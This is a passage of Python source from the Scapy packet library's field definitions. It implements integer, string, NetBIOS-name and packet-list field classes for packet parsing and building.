x)\n\n\nclass DestIP6Field(IP6Field, DestField):\n    bindings = {}  # type: Dict[Type[Packet], Tuple[str, Any]]\n\n    def __init__(self, name, default):\n        # type: (str, str) -> None\n        IP6Field.__init__(self, name, None)\n        DestField.__init__(self, name, default)\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net6]]) -> bytes\n        if x is None and pkt is not None:\n            x = self.dst_from_pkt(pkt)\n        return IP6Field.i2m(self, pkt, x)\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], Optional[Union[str, Net6]]) -> str\n        if x is None and pkt is not None:\n            x = self.dst_from_pkt(pkt)\n        return super(DestIP6Field, self).i2h(pkt, x)\n\n\nclass ByteField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"B\")\n\n\nclass XByteField(ByteField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return lhex(self.i2h(pkt, x))\n\n\n# XXX Unused field: at least add some tests\nclass OByteField(ByteField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return \"%03o\" % self.i2h(pkt, x)\n\n\nclass ThreeBytesField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, int) -> None\n        Field.__init__(self, name, default, \"!I\")\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[int]) -> bytes\n        return s + struct.pack(self.fmt, self.i2m(pkt, val))[1:4]\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, int]\n        return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b\"\\x00\" + s[:3])[0])  # noqa: E501\n\n\nclass X3BytesField(ThreeBytesField, XByteField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return XByteField.i2repr(self, pkt, x)\n\n\nclass LEThreeBytesField(ByteField):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"<I\")\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[int]) -> bytes\n        return s + struct.pack(self.fmt, self.i2m(pkt, val))[:3]\n\n    def getfield(self, pkt, s):\n        # type: (Optional[Packet], bytes) -> Tuple[bytes, int]\n        return s[3:], self.m2i(pkt, struct.unpack(self.fmt, s[:3] + b\"\\x00\")[0])  # noqa: E501\n\n\nclass XLE3BytesField(LEThreeBytesField, XByteField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return XByteField.i2repr(self, pkt, x)\n\n\ndef LEX3BytesField(*args, **kwargs):\n    # type: (*Any, **Any) -> Any\n    warnings.warn(\n        \"LEX3BytesField is deprecated. Use XLE3BytesField\",\n        DeprecationWarning\n    )\n    return XLE3BytesField(*args, **kwargs)\n\n\nclass NBytesField(Field[int, List[int]]):\n    def __init__(self, name, default, sz):\n        # type: (str, Optional[int], int) -> None\n        Field.__init__(self, name, default, \"<\" + \"B\" * sz)\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[int]) -> List[int]\n        if x is None:\n            return [0] * self.sz\n        x2m = list()\n        for _ in range(self.sz):\n            x2m.append(x % 256)\n            x //= 256\n        return x2m[::-1]\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], Union[List[int], int]) -> int\n        if isinstance(x, int):\n            return x\n        # x can be a tuple when coming from struct.unpack  (from getfield)\n        if isinstance(x, (list, tuple)):\n            return sum(d * (256 ** i) for i, d in enumerate(reversed(x)))\n        return 0\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        if isinstance(x, int):\n            return '%i' % x\n        return super(NBytesField, self).i2repr(pkt, x)\n\n    def addfield(self, pkt, s, val):\n        # type: (Optional[Packet], bytes, Optional[int]) -> bytes\n        return s + self.struct.pack(*self.i2m(pkt, val))\n\n    def getfield(self, pkt, s):\n        # type: (Optional[Packet], bytes) -> Tuple[bytes, int]\n        return (s[self.sz:],\n                self.m2i(pkt, self.struct.unpack(s[:self.sz])))  # type: ignore\n\n    def randval(self):\n        # type: () -> RandNum\n        return RandNum(0, 2 ** (self.sz * 8) - 1)\n\n\nclass XNBytesField(NBytesField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        if isinstance(x, int):\n            return '0x%x' % x\n        # x can be a tuple when coming from struct.unpack (from getfield)\n        if isinstance(x, (list, tuple)):\n            return \"0x\" + \"\".join(\"%02x\" % b for b in x)\n        return super(XNBytesField, self).i2repr(pkt, x)\n\n\nclass SignedByteField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"b\")\n\n\nclass FieldValueRangeException(Scapy_Exception):\n    pass\n\n\nclass MaximumItemsCount(Scapy_Exception):\n    pass\n\n\nclass FieldAttributeException(Scapy_Exception):\n    pass\n\n\nclass YesNoByteField(ByteField):\n    \"\"\"\n    A byte based flag field that shows representation of its number\n    based on a given association\n\n    In its default configuration the following representation is generated:\n        x == 0 : 'no'\n        x != 0 : 'yes'\n\n    In more sophisticated use-cases (e.g. yes/no/invalid) one can use the\n    config attribute to configure.\n    Key-value, key-range and key-value-set associations that will be used to\n    generate the values representation.\n\n    - A range is given by a tuple (<first-val>, <last-value>) including the\n      last value.\n    - A single-value tuple is treated as scalar.\n    - A list defines a set of (probably non consecutive) values that should be\n      associated to a given key.\n\n    All values not associated with a key will be shown as number of type\n    unsigned byte.\n\n    **For instance**::\n\n        config = {\n            'no' : 0,\n            'foo' : (1,22),\n            'yes' : 23,\n            'bar' : [24,25, 42, 48, 87, 253]\n        }\n\n    Generates the following representations::\n\n        x == 0 : 'no'\n        x == 15: 'foo'\n        x == 23: 'yes'\n        x == 42: 'bar'\n        x == 43: 43\n\n    Another example, using the config attribute one could also revert\n    the stock-yes-no-behavior::\n\n        config = {\n                'yes' : 0,\n                'no' : (1,255)\n        }\n\n    Will generate the following value representation::\n\n        x == 0 : 'yes'\n        x != 0 : 'no'\n\n    \"\"\"\n    __slots__ = ['eval_fn']\n\n    def _build_config_representation(self, config):\n        # type: (Dict[str, Any]) -> None\n        assoc_table = dict()\n        for key in config:\n            value_spec = config[key]\n\n            value_spec_type = type(value_spec)\n\n            if value_spec_type is int:\n                if value_spec < 0 or value_spec > 255:\n                    raise FieldValueRangeException('given field value {} invalid - '  # noqa: E501\n                                                   'must be in range [0..255]'.format(value_spec))  # noqa: E501\n                assoc_table[value_spec] = key\n\n            elif value_spec_type is list:\n                for value in value_spec:\n                    if value < 0 or value > 255:\n                        raise FieldValueRangeException('given field value {} invalid - '  # noqa: E501\n                                                       'must be in range [0..255]'.format(value))  # noqa: E501\n                    assoc_table[value] = key\n\n            elif value_spec_type is tuple:\n                value_spec_len = len(value_spec)\n                if value_spec_len != 2:\n                    raise FieldAttributeException('invalid length {} of given config item tuple {} - must be '  # noqa: E501\n                                                  '(<start-range>, <end-range>).'.format(value_spec_len, value_spec))  # noqa: E501\n\n                value_range_start = value_spec[0]\n                if value_range_start < 0 or value_range_start > 255:\n                    raise FieldValueRangeException('given field value {} invalid - '  # noqa: E501\n                                                   'must be in range [0..255]'.format(value_range_start))  # noqa: E501\n\n                value_range_end = value_spec[1]\n                if value_range_end < 0 or value_range_end > 255:\n                    raise FieldValueRangeException('given field value {} invalid - '  # noqa: E501\n                                                   'must be in range [0..255]'.format(value_range_end))  # noqa: E501\n\n                for value in range(value_range_start, value_range_end + 1):\n\n                    assoc_table[value] = key\n\n        self.eval_fn = lambda x: assoc_table[x] if x in assoc_table else x\n\n    def __init__(self, name, default, config=None):\n        # type: (str, int, Optional[Dict[str, Any]]) -> None\n\n        if not config:\n            # this represents the common use case and therefore it is kept small  # noqa: E501\n            self.eval_fn = lambda x: 'no' if x == 0 else 'yes'\n        else:\n            self._build_config_representation(config)\n        ByteField.__init__(self, name, default)\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return self.eval_fn(x)  # type: ignore\n\n\nclass ShortField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"H\")\n\n\nclass SignedShortField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"h\")\n\n\nclass LEShortField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"<H\")\n\n\nclass LESignedShortField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"<h\")\n\n\nclass XShortField(ShortField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return lhex(self.i2h(pkt, x))\n\n\nclass IntField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"I\")\n\n\nclass SignedIntField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, int) -> None\n        Field.__init__(self, name, default, \"i\")\n\n\nclass LEIntField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"<I\")\n\n\nclass LESignedIntField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, int) -> None\n        Field.__init__(self, name, default, \"<i\")\n\n\nclass XIntField(IntField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return lhex(self.i2h(pkt, x))\n\n\nclass XLEIntField(LEIntField, XIntField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return XIntField.i2repr(self, pkt, x)\n\n\nclass XLEShortField(LEShortField, XShortField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return XShortField.i2repr(self, pkt, x)\n\n\nclass LongField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, int) -> None\n        Field.__init__(self, name, default, \"Q\")\n\n\nclass SignedLongField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"q\")\n\n\nclass LELongField(LongField):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"<Q\")\n\n\nclass LESignedLongField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[Any]) -> None\n        Field.__init__(self, name, default, \"<q\")\n\n\nclass XLongField(LongField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return lhex(self.i2h(pkt, x))\n\n\nclass XLELongField(LELongField, XLongField):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], int) -> str\n        return XLongField.i2repr(self, pkt, x)\n\n\nclass IEEEFloatField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"f\")\n\n\nclass IEEEDoubleField(Field[int, int]):\n    def __init__(self, name, default):\n        # type: (str, Optional[int]) -> None\n        Field.__init__(self, name, default, \"d\")\n\n\nclass _StrField(Field[I, bytes]):\n    __slots__ = [\"remain\"]\n\n    def __init__(self, name, default, fmt=\"H\", remain=0):\n        # type: (str, Optional[I], str, int) -> None\n        Field.__init__(self, name, default, fmt)\n        self.remain = remain\n\n    def i2len(self, pkt, x):\n        # type: (Optional[Packet], Any) -> int\n        if x is None:\n            return 0\n        return len(x)\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> I\n        if isinstance(x, str):\n            x = bytes_encode(x)\n        return super(_StrField, self).any2i(pkt, x)  # type: ignore\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], I) -> str\n        if x and isinstance(x, bytes):\n            return repr(x)\n        return super(_StrField, self).i2repr(pkt, x)\n\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[I]) -> bytes\n        if x is None:\n            return b\"\"\n        if not isinstance(x, bytes):\n            return bytes_encode(x)\n        return x\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[I]) -> bytes\n        return s + self.i2m(pkt, val)\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, I]\n        if self.remain == 0:\n            return b\"\", self.m2i(pkt, s)\n        else:\n            return s[-self.remain:], self.m2i(pkt, s[:-self.remain])\n\n    def randval(self):\n        # type: () -> RandBin\n        return RandBin(RandNum(0, 1200))\n\n\nclass StrField(_StrField[bytes]):\n    pass\n\n\nclass StrFieldUtf16(StrField):\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> bytes\n        if isinstance(x, str):\n            return self.h2i(pkt, x)\n        return super(StrFieldUtf16, self).any2i(pkt, x)\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        return plain_str(self.i2h(pkt, x))\n\n    def h2i(self, pkt, x):\n        # type: (Optional[Packet], Optional[str]) -> bytes\n        return plain_str(x).encode('utf-16-le', errors=\"replace\")\n\n    def i2h(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        return bytes_encode(x).decode('utf-16-le', errors=\"replace\")\n\n\nclass _StrEnumField:\n    def __init__(self, **kwargs):\n        # type: (**Any) -> None\n        self.enum = kwargs.pop(\"enum\", {})\n\n    def i2repr(self, pkt, v):\n        # type: (Optional[Packet], bytes) -> str\n        r = v.rstrip(b\"\\0\")\n        rr = repr(r)\n        if self.enum:\n            if v in self.enum:\n                rr = \"%s (%s)\" % (rr, self.enum[v])\n            elif r in self.enum:\n                rr = \"%s (%s)\" % (rr, self.enum[r])\n        return rr\n\n\nclass StrEnumField(_StrEnumField, StrField):\n    __slots__ = [\"enum\"]\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: bytes\n            enum=None,  # type: Optional[Dict[str, str]]\n            **kwargs  # type: Any\n    ):\n        # type: (...) -> None\n        StrField.__init__(self, name, default, **kwargs)  # type: ignore\n        self.enum = enum\n\n\nK = TypeVar('K', List[BasePacket], BasePacket, Optional[BasePacket])\n\n\nclass _PacketField(_StrField[K]):\n    __slots__ = [\"cls\"]\n    holds_packets = 1\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Optional[K]\n                 pkt_cls,  # type: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501\n                 ):\n        # type: (...) -> None\n        super(_PacketField, self).__init__(name, default)\n        self.cls = pkt_cls\n\n    def i2m(self,\n            pkt,  # type: Optional[Packet]\n            i,  # type: Any\n            ):\n        # type: (...) -> bytes\n        if i is None:\n            return b\"\"\n        return raw(i)\n\n    def m2i(self, pkt, m):  # type: ignore\n        # type: (Optional[Packet], bytes) -> Packet\n        try:\n            # we want to set parent wherever possible\n            return self.cls(m, _parent=pkt)  # type: ignore\n        except TypeError:\n            return self.cls(m)\n\n\nclass _PacketFieldSingle(_PacketField[K]):\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> K\n        if x and pkt and hasattr(x, \"add_parent\"):\n            cast(\"Packet\", x).add_parent(pkt)\n        return super(_PacketFieldSingle, self).any2i(pkt, x)\n\n    def getfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 ):\n        # type: (...) -> Tuple[bytes, K]\n        i = self.m2i(pkt, s)\n        remain = b\"\"\n        if conf.padding_layer in i:\n            r = i[conf.padding_layer]\n            del r.underlayer.payload\n            remain = r.load\n        return remain, i  # type: ignore\n\n\nclass PacketField(_PacketFieldSingle[BasePacket]):\n    def randval(self):  # type: ignore\n        # type: () -> Packet\n        from scapy.packet import fuzz\n        return fuzz(self.cls())  # type: ignore\n\n\nclass PacketLenField(_PacketFieldSingle[Optional[BasePacket]]):\n    __slots__ = [\"length_from\"]\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Packet\n                 cls,  # type: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501\n                 length_from=None  # type: Optional[Callable[[Packet], int]]  # noqa: E501\n                 ):\n        # type: (...) -> None\n        super(PacketLenField, self).__init__(name, default, cls)\n        self.length_from = length_from or (lambda x: 0)\n\n    def getfield(self,\n                 pkt,  # type: Packet\n                 s,  # type: bytes\n                 ):\n        # type: (...) -> Tuple[bytes, Optional[BasePacket]]\n        len_pkt = self.length_from(pkt)\n        i = None\n        if len_pkt:\n            try:\n                i = self.m2i(pkt, s[:len_pkt])\n            except Exception:\n                if conf.debug_dissector:\n                    raise\n                i = conf.raw_layer(load=s[:len_pkt])\n        return s[len_pkt:], i\n\n\nclass PacketListField(_PacketField[List[BasePacket]]):\n    \"\"\"PacketListField represents a list containing a series of Packet instances\n    that might occur right in the middle of another Packet field.\n    This field type may also be used to indicate that a series of Packet\n    instances have a sibling semantic instead of a parent/child relationship\n    (i.e. a stack of layers). All elements in PacketListField have current\n    packet referenced in parent field.\n    \"\"\"\n    __slots__ = [\"count_from\", \"length_from\", \"next_cls_cb\", \"max_count\"]\n    islist = 1\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: Optional[List[BasePacket]]\n            pkt_cls=None,  # type: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501\n            count_from=None,  # type: Optional[Callable[[Packet], int]]\n            length_from=None,  # type: Optional[Callable[[Packet], int]]\n            next_cls_cb=None,  # type: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Optional[Type[Packet]]]]  # noqa: E501\n            max_count=None,  # type: Optional[int]\n    ):\n        # type: (...) -> None\n        \"\"\"\n        The number of Packet instances that are dissected by this field can\n        be parametrized using one of three different mechanisms/parameters:\n\n            * count_from: a callback that returns the number of Packet\n              instances to dissect. The callback prototype is::\n\n                count_from(pkt:Packet) -> int\n\n            * length_from: a callback that returns the number of bytes that\n              must be dissected by this field. The callback prototype is::\n\n                length_from(pkt:Packet) -> int\n\n            * next_cls_cb: a callback that enables a Scapy developer to\n              dynamically discover if another Packet instance should be\n              dissected or not. See below for this callback prototype.\n\n        The bytes that are not consumed during the dissection of this field\n        are passed to the next field of the current packet.\n\n        For the serialization of such a field, the list of Packets that are\n        contained in a PacketListField can be heterogeneous and is\n        unrestricted.\n\n        The type of the Packet instances that are dissected with this field is\n        specified or discovered using one of the following mechanism:\n\n            * the pkt_cls parameter may contain a callable that returns an\n              instance of the dissected Packet. This may either be a\n              reference of a Packet subclass (e.g. DNSRROPT in layers/dns.py)\n              to generate an homogeneous PacketListField or a function\n              deciding the type of the Packet instance\n              (e.g. _CDPGuessAddrRecord in contrib/cdp.py)\n\n            * the pkt_cls parameter may contain a class object with a defined\n              ``dispatch_hook`` classmethod. That method must return a Packet\n              instance. The ``dispatch_hook`` callmethod must implement the\n                following prototype::\n\n                dispatch_hook(cls,\n                              _pkt:Optional[Packet],\n                              *args, **kargs\n                ) -> Type[Packet]\n\n                The _pkt parameter may contain a reference to the packet\n                instance containing the PacketListField that is being\n                dissected.\n\n            * the ``next_cls_cb`` parameter may contain a callable whose\n              prototype is::\n\n                cbk(pkt:Packet,\n                    lst:List[Packet],\n                    cur:Optional[Packet],\n                    remain:bytes,\n                ) -> Optional[Type[Packet]]\n\n              The pkt argument contains a reference to the Packet instance\n              containing the PacketListField that is being dissected.\n              The lst argument is the list of all Packet instances that were\n              previously parsed during the current ``PacketListField``\n              dissection, saved for the very last Packet instance.\n              The cur argument contains a reference to that very last parsed\n              ``Packet`` instance. The remain argument contains the bytes\n              that may still be consumed by the current PacketListField\n              dissection operation.\n\n              This callback returns either the type of the next Packet to\n              dissect or None to indicate that no more Packet are to be\n              dissected.\n\n              These four arguments allows a variety of dynamic discovery of\n              the number of Packet to dissect and of the type of each one of\n              these Packets, including: type determination based on current\n              Packet instances or its underlayers, continuation based on the\n              previously parsed Packet instances within that PacketListField,\n              continuation based on a look-ahead on the bytes to be\n              dissected...\n\n        The pkt_cls and next_cls_cb parameters are semantically exclusive,\n        although one could specify both. If both are specified, pkt_cls is\n        silently ignored. The same is true for count_from and next_cls_cb.\n\n        length_from and next_cls_cb are compatible and the dissection will\n        end, whichever of the two stop conditions comes first.\n\n        :param name: the name of the field\n        :param default: the default value of this field; generally an empty\n            Python list\n        :param pkt_cls: either a callable returning a Packet instance or a\n            class object defining a ``dispatch_hook`` class method\n        :param count_from: a callback returning the number of Packet\n            instances to dissect.\n        :param length_from: a callback returning the number of bytes to dissect\n        :param next_cls_cb: a callback returning either None or the type of\n            the next Packet to dissect.\n        :param max_count: an int containing the max amount of results. This is\n            a safety mechanism, exceeding this value will raise a Scapy_Exception.\n        \"\"\"\n        if default is None:\n            default = []  # Create a new list for each instance\n        super(PacketListField, self).__init__(\n            name,\n            default,\n            pkt_cls  # type: ignore\n        )\n        self.count_from = count_from\n        self.length_from = length_from\n        self.next_cls_cb = next_cls_cb\n        self.max_count = max_count\n\n    def any2i(self, pkt, x):\n        # type: (Optional[Packet], Any) -> List[BasePacket]\n        if not isinstance(x, list):\n            if x and pkt and hasattr(x, \"add_parent\"):\n                x.add_parent(pkt)\n            return [x]\n        elif pkt:\n            for i in x:\n                if not i or not hasattr(i, \"add_parent\"):\n                    continue\n                i.add_parent(pkt)\n        return x\n\n    def i2count(self,\n                pkt,  # type: Optional[Packet]\n                val,  # type: List[BasePacket]\n                ):\n        # type: (...) -> int\n        if isinstance(val, list):\n            return len(val)\n        return 1\n\n    def i2len(self,\n              pkt,  # type: Optional[Packet]\n              val,  # type: List[Packet]\n              ):\n        # type: (...) -> int\n        return sum(len(self.i2m(pkt, p)) for p in val)\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, List[BasePacket]]\n        c = len_pkt = cls = None\n        if self.length_from is not None:\n            len_pkt = self.length_from(pkt)\n        elif self.count_from is not None:\n            c = self.count_from(pkt)\n        if self.next_cls_cb is not None:\n            cls = self.next_cls_cb(pkt, [], None, s)\n            c = 1\n            if cls is None:\n                c = 0\n\n        lst = []  # type: List[BasePacket]\n        ret = b\"\"\n        remain = s\n        if len_pkt is not None:\n            remain, ret = s[:len_pkt], s[len_pkt:]\n        while remain:\n            if c is not None:\n                if c <= 0:\n                    break\n                c -= 1\n            try:\n                if cls is not None:\n                    try:\n                        # we want to set parent wherever possible\n                        p = cls(remain, _parent=pkt)\n                    except TypeError:\n                        p = cls(remain)\n                else:\n                    p = self.m2i(pkt, remain)\n            except Exception:\n                if conf.debug_dissector:\n                    raise\n                p = conf.raw_layer(load=remain)\n                remain = b\"\"\n            else:\n                if conf.padding_layer in p:\n                    pad = p[conf.padding_layer]\n                    remain = pad.load\n                    del pad.underlayer.payload\n                    if self.next_cls_cb is not None:\n                        cls = self.next_cls_cb(pkt, lst, p, remain)\n                        if cls is not None:\n                            c = 0 if c is None else c\n                            c += 1\n                else:\n                    remain = b\"\"\n            lst.append(p)\n            if len(lst) > (self.max_count or conf.max_list_count):\n                raise MaximumItemsCount(\n                    \"Maximum amount of items reached in PacketListField: %s \"\n                    \"(defaults to conf.max_list_count)\"\n                    % (self.max_count or conf.max_list_count)\n                )\n\n        if isinstance(remain, tuple):\n            remain, nb = remain\n            return (remain + ret, nb), lst\n        else:\n            return remain + ret, lst\n\n    def i2m(self,\n            pkt,  # type: Optional[Packet]\n            i,  # type: Any\n            ):\n        # type: (...) -> bytes\n        return bytes_encode(i)\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Any) -> bytes\n        return s + b\"\".join(self.i2m(pkt, v) for v in val)\n\n\nclass StrFixedLenField(StrField):\n    __slots__ = [\"length_from\"]\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: Optional[bytes]\n            length=None,  # type: Optional[int]\n            length_from=None,  # type: Optional[Callable[[Packet], int]]\n    ):\n        # type: (...) -> None\n        super(StrFixedLenField, self).__init__(name, default)\n        self.length_from = length_from or (lambda x: 0)\n        if length is not None:\n            self.sz = length\n            self.length_from = lambda x, length=length: length  # type: ignore\n\n    def i2repr(self,\n               pkt,  # type: Optional[Packet]\n               v,  # type: bytes\n               ):\n        # type: (...) -> str\n        if isinstance(v, bytes) and not conf.debug_strfixedlenfield:\n            v = v.rstrip(b\"\\0\")\n        return super(StrFixedLenField, self).i2repr(pkt, v)\n\n    def getfield(self, pkt, s):\n        # type: (Packet, bytes) -> Tuple[bytes, bytes]\n        len_pkt = self.length_from(pkt)\n        if len_pkt == 0:\n            return s, b\"\"\n        return s[len_pkt:], self.m2i(pkt, s[:len_pkt])\n\n    def addfield(self, pkt, s, val):\n        # type: (Packet, bytes, Optional[bytes]) -> bytes\n        len_pkt = self.length_from(pkt)\n        if len_pkt is None:\n            return s + self.i2m(pkt, val)\n        return s + struct.pack(\"%is\" % len_pkt, self.i2m(pkt, val))\n\n    def randval(self):\n        # type: () -> RandBin\n        try:\n            return RandBin(self.length_from(None))  # type: ignore\n        except Exception:\n            return RandBin(RandNum(0, 200))\n\n\nclass StrFixedLenFieldUtf16(StrFixedLenField, StrFieldUtf16):\n    pass\n\n\nclass StrFixedLenEnumField(_StrEnumField, StrFixedLenField):\n    __slots__ = [\"enum\"]\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: bytes\n            enum=None,  # type: Optional[Dict[str, str]]\n            length=None,  # type: Optional[int]\n            length_from=None  # type: Optional[Callable[[Optional[Packet]], int]]  # noqa: E501\n    ):\n        # type: (...) -> None\n        StrFixedLenField.__init__(self, name, default, length=length, length_from=length_from)  # noqa: E501\n        self.enum = enum\n\n\nclass NetBIOSNameField(StrFixedLenField):\n    def __init__(self, name, default, length=31):\n        # type: (str, bytes, int) -> None\n        StrFixedLenField.__init__(self, name, default, length)\n\n    def h2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> bytes\n        if x and len(x) > 15:\n            x = x[:15]\n        return x\n\n    def i2m(self, pkt, y):\n        # type: (Optional[Packet], Optional[bytes]) -> bytes\n        if pkt:\n            len_pkt = self.length_from(pkt) // 2\n        else:\n            len_pkt = 0\n        x = bytes_encode(y or b\"\")  # type: bytes\n        x += b\" \" * len_pkt\n        x = x[:len_pkt]\n        x = b\"\".join(\n            struct.pack(\n                \"!BB\",\n                0x41 + (b >> 4),\n                0x41 + (b & 0xf),\n            )\n            for b in x\n        )\n        return b\" \" + x\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> bytes\n        x = x[1:].strip(b\"\\x00\")\n        return b\"\".join(map(\n            lambda x, y: struct.pack(\n                \"!B\",\n                (((x - 1) & 0xf) << 4) + ((y - 1) & 0xf)\n            ),\n            x[::2], x[1::2]\n        )).rstrip(b\" \")\n\n\nclass StrLenField(StrField):\n    \"\"\"\n    StrField with a length\n\n    :param length_from: a function that returns the size of the string\n    :param max_length: max size to use as randval\n    \"\"\"\n    __slots__ = [\"length_from\", \"max_length\"]\n    ON_WIRE_SIZE_UTF16 = True\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: bytes\n            length_from=None,  # type: Optional[Callable[[Packet], int]]\n            max_length=None,  # type: Optional[Any]\n    ):\n        # type: (...) -> None\n        super(StrLenField, self).__init__(name, default)\n        self.length_from = length_from\n        self.max_length = max_length\n\n    def getfield(self, pkt, s):\n        # type: (Any, bytes) -> Tuple[bytes, bytes]\n        len_pkt = (self.length_from or (lambda x: 0))(pkt)\n        if not self.ON_WIRE_SIZE_UTF16:\n            len_pkt *= 2\n        if len_pkt == 0:\n            return s, b\"\"\n        return s[len_pkt:], self.m2i(pkt, s[:len_pkt])\n\n    def randval(self):\n        # type: () -> RandBin\n        return RandBin(RandNum(0, self.max_length or 1200))\n\n\nclass _XStrField(Field[bytes, bytes]):\n    def i2repr(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> str\n        if isinstance(x, bytes):\n            return bytes_hex(x).decode()\n        return super(_XStrField, self).i2repr(pkt, x)\n\n\nclass XStrField(_XStrField, StrField):\n    \"\"\"\n    StrField which value is printed as hexadecimal.\n    \"\"\"\n\n\nclass XStrLenField(_XStrField, StrLenField):\n    \"\"\"\n    StrLenField which value is printed as hexadecimal.\n    \"\"\"\n\n\nclass XStrFixedLenField(_XStrField, StrFixedLenField):\n    \"\"\"\n    StrFixedLenField which value is printed as hexadecimal.\n    \"\"\"\n\n\nclass XLEStrLenField(XStrLenField):\n    def i2m(self, pkt, x):\n        # type: (Optional[Packet], Optional[bytes]) -> bytes\n        if not x:\n            return b\"\"\n        return x[:: -1]\n\n    def m2i(self, pkt, x):\n        # type: (Optional[Packet], bytes) -> bytes\n        return x[:: -1]\n\n\nclass StrLenFieldUtf16(StrLenField, StrFieldUtf16):\n    pass\n\n\nclass StrLenEnumField(_StrEnumField, StrLenField):\n    __slots__ = [\"enum\"]\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: bytes\n            enum=None,  # type: Optional[Dict[str, str]]\n            **kwargs  # type: Any\n    ):\n        # type: (...) -> None\n        StrLenField.__init__(self, name, default, **kwargs)\n        self.enum = enum\n\n\nclass BoundStrLenField(StrLenField):\n    __slots__ = [\"minlen\", \"maxlen\"]\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: bytes\n            minlen=0,  # type: int\n            maxlen=255,  # type: int\n            length_from=None  # type: Optional[Callable[[Packet], int]]\n    ):\n        # type: (...) -> None\n        StrLenField.__init__(self, name, default, length_from=length_from)\n        self.minlen = minlen\n        self.maxlen = maxlen\n\n    def randval(self):\n        # type: () -> RandBin\n        return RandBin(RandNum(self.minlen, self.maxlen))\n\n\nclass FieldListField(Field[List[Any], List[Any]]):\n    __slots__ = [\"field\", \"count_from\", \"length_from\", \"max_count\"]\n    islist = 1\n\n    def __init__(\n            self,\n            name,  # type: str\n            default,  # type: Optional[List[AnyField]]\n            field,  # type: AnyField\n            length_from=None,  # type: Optional[Callable[[Packet], int]]\n            count_from=None,  # type: 